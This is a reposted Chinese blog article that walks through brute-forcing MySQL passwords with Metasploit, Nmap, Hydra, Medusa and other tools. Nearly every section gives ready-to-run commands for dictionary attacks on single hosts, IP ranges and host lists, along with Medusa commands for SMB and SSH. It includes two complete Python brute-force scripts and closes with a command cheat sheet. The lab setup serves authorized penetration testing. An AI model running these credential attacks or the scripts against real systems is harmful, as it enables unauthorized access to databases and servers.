A-A+

MySQL口令扫描渗透测试攻略

2019年11月10日 文章转载 暂无评论 阅读 3,062 views 次
摘要:

对于MySQL数据库渗透来说,获取其口令至关重要,一般来讲数据库不会提供对外连接,安全严格的将会限制固有IP和本机登录数据库,但渗透就是发现各种例外!抱着研究的目地,将目前市面上主流的7款MySQL口令扫描工具进行实际测试,并给出了实际利用场景的具体命令,在进行渗透测试时,具有较高的参考价值。
1.测试环境:Windows 2003 Server +PHP+MySQL5.0.90-community-nt
2.账号设置:允许远程访问也即设置host为%,同时密码设置为11111111。

3.测试机:kali linux2017和windows 2003

1.1 Metasploit扫描MySQL口令

有关利用Metasploit扫描详细利用可以参考本人网上发布的《利用Msf辅助模块检测和渗透Mysql》,这里主要是介绍如何扫描MySQL口令。

1.启动Metasploit命令

在kali终端下输入:msfconsole

2. 密码扫描auxiliary/scanner/mysql/mysql_login模块

(1)单一模式扫描登录验证

  1. use auxiliary/scanner/mysql/mysql_login
  2. set rhosts 192.168.157.130
  3. set username root
  4. set password 11111111
  5. run

(2)使用字典对某个IP地址进行暴力破解

  1. use auxiliary/scanner/mysql/mysql_login
  2. set RHOSTS 192.168.157.130
  3. set pass_file “/root/top10000pwd.txt
  4. set username root
  5. run

测试效果如图1所示,注意如果字典过长,其扫描时间也会相应较长,也即等待时间会较长,在扫描结果汇总可以看到-+符号,-表示未成功,绿色的+表示口令破解成功,并显示用户名和密码。如果是对某个IP地址段,则设置set RHOSTS 192.168.157.1-254即可。

图1使用字典扫描

3.密码验证

  1. use auxiliary/admin/mysql/mysql_sql
  2. set RHOSTS 192.168.157.130
  3. set password 11111111
  4. set username root
  5. run

该模块主要使用设置的用户名和密码对主机进行登录验证,查询版本信息,如图2所示。

图2登录验证
在msf下面有关更多的mysql使用,可以使用search mysql命令,然后选择对应的模块,通过info模块查看,通过set进行参数设置,通过run进行测试。

1.2NMAP扫描MySQL口令

1.查看Nmap下有关mysql利用脚本

  1. ls -al /usr/share/nmap/scripts/mysql*
  2. /usr/share/nmap/scripts/mysql-audit.nse
  3. /usr/share/nmap/scripts/mysql-brute.nse
  4. /usr/share/nmap/scripts/mysql-databases.nse
  5. /usr/share/nmap/scripts/mysql-dump-hashes.nse
  6. /usr/share/nmap/scripts/mysql-empty-password.nse
  7. /usr/share/nmap/scripts/mysql-enum.nse
  8. /usr/share/nmap/scripts/mysql-info.nse
  9. /usr/share/nmap/scripts/mysql-query.nse
  10. /usr/share/nmap/scripts/mysql-users.nse
  11. /usr/share/nmap/scripts/mysql-variables.nse
  12. /usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse

可以看到有多个mysql相关脚本,有审计,暴力破解,hash、空密码扫描、枚举、基本信息、查询、变量等。其中/usr/share/nmap/scripts/mysql-brute.nse和/usr/share/nmap/scripts/mysql-empty-password.nse用于密码扫描。
1.使用nmap扫描确认端口信息
使用命令nmap -p 3306 192.168.157.130进行扫描,如图3所示,可以看到192.168.157.130计算机端口开放3306。

图3扫描端口

2.对开放3306端口的数据库进行扫描破解
(1)扫描空口令
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.130
(2)扫描已知口令
nmap -sV --script=mysql-databases --script-args dbuser=root,dbpass=11111111 192.168.195.130
nmap扫描端口和banner标识效果比较好,对空口令的支持效果也可以,暴力破解比较坑。更多nmap扫描脚本参数详细情况,请参考:
https://nmap.org/nsedoc/lib/brute.html#script-args

1.3使用xHydra和Hydra破解MySQL口令

Hydra是linux下面一款非常厉害的密码暴力破解工具,支持多种协议破解,一般是在命令行下进行破解,在kali2017版本中已经有图形界面版xHydra。下载地址:https://github.com/maaaaz/thc-hydra-windows

1.使用xHydra暴力破解MySQL密码

(1)设置目标地址和需要破解的协议
在kali中单击“Application”-“05-Password Attacks”-“Online Attacks”-“hydra-gtk”打开Hydra图形界面版,如图4所示,在Target中设置单一目标(Single Target):192.168.157.130,如果是多个目标,这可以保存在文本文件中,通过Target List进行设置。在其Protocol中选择Mysql协议。

(2)设置密码或者密码文件

单击“Password”标签,在username中输入root或者其它账号名称,或者选择用户名称列表(Username List),如图5所示。跟username设置一样,设置用户密码,还可以设置以用户名为密码进行登录,以空密码进行登录,以密码反转进行登录等。

图5设置用户名及密码

(3)开始暴力破解
在开始暴力破解前,还可以设置线程数,在“Tuning”中设置,如果采用默认,则单击“start”标签,如图6所示,单击start按钮,开始进行暴力破解,如果暴力破解成功,则会在其下方以粗体字显示信息。

图6破解成功

2.使用hydra进行暴力破解

(1)单一用户名和密码进行验证破解
已知目标root账号,密码11111111,主机地址192.168.157.130,则使用如下命令即可:
hydra -l root -p11111111 -t 16 192.168.157.130 mysql
如图7所示,破解成功后,会以绿色字体显示破解结果

图7使用hydra破解mysql密码

(2)使用字典破解单一用户
hydra -l root -P /root/Desktop/top10000pwd.txt -t 16 192.168.157.130 mysql
跟上面类似,使用字典则使用大写的P,使用密码则是小写p后更密码值。如果是多个用户列表,则是使用L filename,例如L /root/user.txt,“-t”表示线程数。

(3)对多个IP地址进行root账号密码破解
密码文件为/root/newpass.txt,目标文件/root/ip.txt,登录账号为root,则命令为:
hydra -l root -P /root/newpass.txt -t 16 -M /root/ip.txt mysql
如图8所示,在本例中对192.168.157.130、192.168.157.131、192.168.157.132进行暴力破解,由于192.168.157.131和192.168.157.132未提供3306服务,所以显示无法连接,最终破解了一个密码。

图8破解多个目标MySQL密码

1.4使用hscan扫描MySQL口令

Hscan是一款老牌的黑客攻击,其使用很简单,需要通过menu去设置扫描参数(parameter)startip:192.168.157.1,endip:192.168.157.254,然后选择模块(Modules)进行配置,选择MySQL弱口令检查即可,如图9所示,设置好后,单击start即可开始扫描。在软件左边会显示扫描信息,扫描完成后会在程序目录下的report生成网页的报告文件,如果有结果也会在log文件夹下生成扫描日志文件。该软件对root空口令扫描效果较好,对实际密码扫描效果一般。

图9使用hscan扫描MySQL弱口令

1.5使用xsqlscanner扫描MySQL口令

软件需要.net framework 4.0支持,xsqlscanner是国外开发的一款软件,如图10所示,需要设置IP地址和SQL审计方法、服务器类型和文件选项,经过实际测试,效果并不理想,扫描过程出现程序无法响应,扫描速度偏慢,通过其使用帮助来看该软件应该对MSSQL扫描效果比较好。

图10使用xsqlscanner扫描MySQL口令

1.6使用Bruter扫描MySQL口令

Bruter是一款支持MySQL、MySQL、SSH等协议的暴力破解工具,其设置非常简单,需要设置目标,协议,端口,用户,字典,如图11所示,进行设置,然后单击开始即可进行暴力破解,破解成功后会在结果中显示,适合单个主机快速验证,比较直观。

图11Bruter暴力破解MySQL密码

1.7使用Medusa(美杜莎)MySQL口令

1. Medusa简介

Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。不同的是,medusa 的稳定性相较于hydra 要好很多,但其支持模块要比 hydra 少一些。 Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),

NNTP, PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT, SMTP
(AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具,官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。目前最新版本2.2,美中不足的是软件从2015年后未进行更新,kali默认自带该软件,软件下载地址:
https://github.com/jmk-foofus/medusa
https://github.com/jmk-foofus/medusa/archive/2.2.tar.gz

2.用法

  1. Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
  2. -h [TEXT] 目标主机名称或者IP地址
  3. -H [FILE] 包含目标主机名称或者IP地址文件
  4. -u [TEXT] 测试的用户名
  5. -U [FILE] 包含测试的用户名文件
  6. -p [TEXT] 测试的密码
  7. -P [FILE] 包含测试的密码文件
  8. -C [FILE] 组合条目文件
  9. -O [FILE] 日志信息文件
  10. -e [n/s/ns] n代表空密码,s代表为密码与用户名相同
  11. -M [TEXT] 模块执行名称
  12. -m [TEXT] 传递参数到模块
  13. -d 显示所有的模块名称
  14. -n [NUM] 使用非默认Tcp端口
  15. -s 启用SSL
  16. -r [NUM] 重试间隔时间,默认为3
  17. -t [NUM] 设定线程数量
  18. -T 同时测试的主机总数
  19. -L 并行化,每个用户使用一个线程
  20. -f 在任何主机上找到第一个账号/密码后,停止破解
  21. -F 在任何主机上找到第一个有效的用户名/密码后停止审计。
  22. -q 显示模块的使用信息
  23. -v [NUM] 详细级别(0-6
  24. -w [NUM] 错误调试级别(0-10
  25. -V 显示版本
  26. -Z [TEXT] 继续扫描上一次

3.破解MySQL密码

(1)使用字典文件破解192.168.17.129主机root账号密码
medusa -M mysql -h192.168.17.129 -e ns -F -u root -P /root/mypass.txt
参数-M表示MySQL数据库密码破解,-h指定主机IP地址或者名称,-e ns破解空口令和主机名称相同的用户密码,-F破解成功后立刻停止,-u指定root账号,-P指定密码文件为/root/mypass.txt,破解效果如图12所示。

 

图12 medusa破解单一MySQL服务器密码

(2)破解IP地址段MySQL密码
medusa -M mysql -H host.txt -e ns -F -u root -P /root/mypass.txt
在前面的基础上,更改前面的密码为12345678:
GRANT USAGE,SELECT, INSERT, UPDATE, DELETE, SHOW VIEW ,CREATE TEMPORARY TABLES,EXECUTE ON . TO root@'192.168.17.144' IDENTIFIED BY '12345678';
FLUSH PRIVILEGES;
再次进行测试,效果如图13所示。

图13破解多个主机的Mysql密码

4.破解其它密码
(1)破解smbnt
medusa -M smbnt -h 192.168.17.129 -u administrator -P /root/mypass.txt -e ns -F
(2)破解ssh密码
medusa -M ssh -h 192.168.17.129 -u root -P /root/mypass.txt -e ns -F

1.8python脚本暴力破解MySQL口令

1.Python版本Mysql爆破简单密码小脚本
需要安装Python插件MySQL-python,插件下载地址:
https://pypi.python.org/packages/a5/e9/51b544da85a36a68debe7a7091f068d802fc515a3a202652828c73453cad/MySQL-python-1.2.5.zip
将以下代码保存为:MysqlDatabaseBlasting.py,cmd切换到 MysqlDatabaseBlasting.py路径下,并 执行MysqlDatabaseBlasting.py即可开始破解。

  1. import MySQLdb
  2. #coding=gbk
  3. #目标IP mysql数据库必须开启3360远程登陆端口
  4. mysql_username = ('root','test', 'admin', 'user')#账号字典
  5. common_weak_password = ('','123456','test','root','admin','user')#密码字典
  6. success = False
  7. host = "127.0.0.1"#数据库IP地址
  8. port = 3306
  9. for username in mysql_username:
  10. for password in common_weak_password:
  11. try:
  12. db = MySQLdb.connect(host, username, password)
  13. success = True
  14. if success:
  15. print username, password
  16. except Exception, e:
  17. pass

2.“独自等待”写的MySQL暴力破解工具单线程版

使用本工具前,请确保脚本同目录下存在user.txt,pass.txt两个文件,用法:
mysqlbrute.py 待破解的ip/domain 端口 数据库 用户名列表 密码列表
实例: mysqlbrute.py www.waitalone.cn 3306 test user.txt pass.txt
程序需要MySQLdb支持,下载地址http://www.codegood.com/download/11/
mysqlbrute.py文件代码:

  1. #!/usr/bin/env python
  2. # -*- coding: gbk -*-
  3. # -*- coding: utf-8 -*-
  4. # Date: 2014/11/10
  5. # Created by 独自等待
  6. # 博客 http://www.waitalone.cn/
  7. import os, sys, re, socket, time
  8. try:
  9. import MySQLdb
  10. except ImportError:
  11. print '\n[!] MySQLdb模块导入错误,请到下面网址下载:'
  12. print '[!] http://www.codegood.com/archives/129'
  13. exit()
  14. def usage():
  15. print '+' + '-' * 50 + '+'
  16. print '\t Python MySQL暴力破解工具单线程版'
  17. print '\t Blog:http://www.waitalone.cn/'
  18. print '\t\t Code BY: 独自等待'
  19. print '\t\t Time:2014-11-10'
  20. print '+' + '-' * 50 + '+'
  21. if len(sys.argv) != 6:
  22. print "用法: " + os.path.basename(sys.argv[0]) + " 待破解的ip/domain 端口 数据库 用户名列表 密码列表"
  23. print "实例: " + os.path.basename(sys.argv[0]) + " www.waitalone.cn 3306 test user.txt pass.txt"
  24. sys.exit()
  25. def mysql_brute(user, password):
  26. "mysql数据库破解函数"
  27. db = None
  28. try:
  29. # print "user:", user, "password:", password
  30. db = MySQLdb.connect(host=host, user=user, passwd=password, db=sys.argv[3], port=int(sys.argv[2]))
  31. # print '[+] 破解成功:', user, password
  32. result.append('用户名:' + user + "\t密码:" + password)
  33. except KeyboardInterrupt:
  34. print '大爷,按您的吩咐,已成功退出程序!'
  35. exit()
  36. except MySQLdb.Error, msg:
  37. # print '未知错误大爷:', msg
  38. pass
  39. finally:
  40. if db:
  41. db.close()
  42. if __name__ == '__main__':
  43. usage()
  44. start_time = time.time()
  45. if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):
  46. host = sys.argv[1]
  47. else:
  48. host = socket.gethostbyname(sys.argv[1])
  49. userlist = [i.rstrip() for i in open(sys.argv[4])]
  50. passlist = [j.rstrip() for j in open(sys.argv[5])]
  51. print '\n[+] 目 标:%s \n' % sys.argv[1]
  52. print '[+] 用户名:%d 条\n' % len(userlist)
  53. print '[+] 密 码:%d 条\n' % len(passlist)
  54. print '[!] 密码破解中,请稍候……\n'
  55. result = []
  56. for x in userlist:
  57. for j in passlist:
  58. mysql_brute(x, j)
  59. if len(result) != 0:
  60. print '[+] 恭喜大爷,MySQL密码破解成功!\n'
  61. for x in {}.fromkeys(result).keys():
  62. print x + '\n'
  63. else:
  64. print '[-] 杯具了大爷,MySQL密码破解失败!\n'
  65. print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)

1.9扫描总结

1.好用的工具
通过实际测试MSF、xHydra、Hydra、Bruter、Medusa都能很好的对MySQL口令进行暴力破解,其中Msf平台具有综合功能,在暴力破解成功后可以继续进行渗透。xHydra、Hydra和Medusa支持多地址破解,Bruter对单一密码漏洞验证效果比较快。

2.工具命令总结
(1)Msf单一模式扫描登录验证

  1. use auxiliary/scanner/mysql/mysql_login
  2. set rhosts 192.168.157.130
  3. set username root
  4. set password 11111111
  5. run

(2)Msf使用字典对某个IP地址进行暴力破解

  1. use auxiliary/scanner/mysql/mysql_login
  2. set RHOSTS 192.168.157.130
  3. set pass_file “/root/top10000pwd.txt
  4. set username root
  5. run

(3)msf密码验证

  1. use auxiliary/admin/mysql/mysql_sql
  2. set RHOSTS 192.168.157.130
  3. set password 11111111
  4. set username root
  5. run

(4)hydra单一用户名和密码进行验证破解
hydra -l root -p11111111 -t 16 192.168.157.130 mysql

(5)hydra使用字典破解单一用户
hydra -l root -P /root/Desktop/top10000pwd.txt -t 16 192.168.157.130 mysql

(6)hydra对多个IP地址进行root账号密码破解
hydra -l root -P /root/newpass.txt -t 16 -M /root/ip.txt mysql

(7)medusa使用字典文件破解192.168.17.129主机root账号密码
medusa -M mysql -h192.168.17.129 -e ns -F -u root -P /root/mypass.txt

(8)medusa破解IP地址段MySQL密码
medusa -M mysql -H host.txt -e ns -F -u root -P /root/mypass.txt

 

原文连接:https://blog.csdn.net/fly_hps/article/details/80944170

标签:

给我留言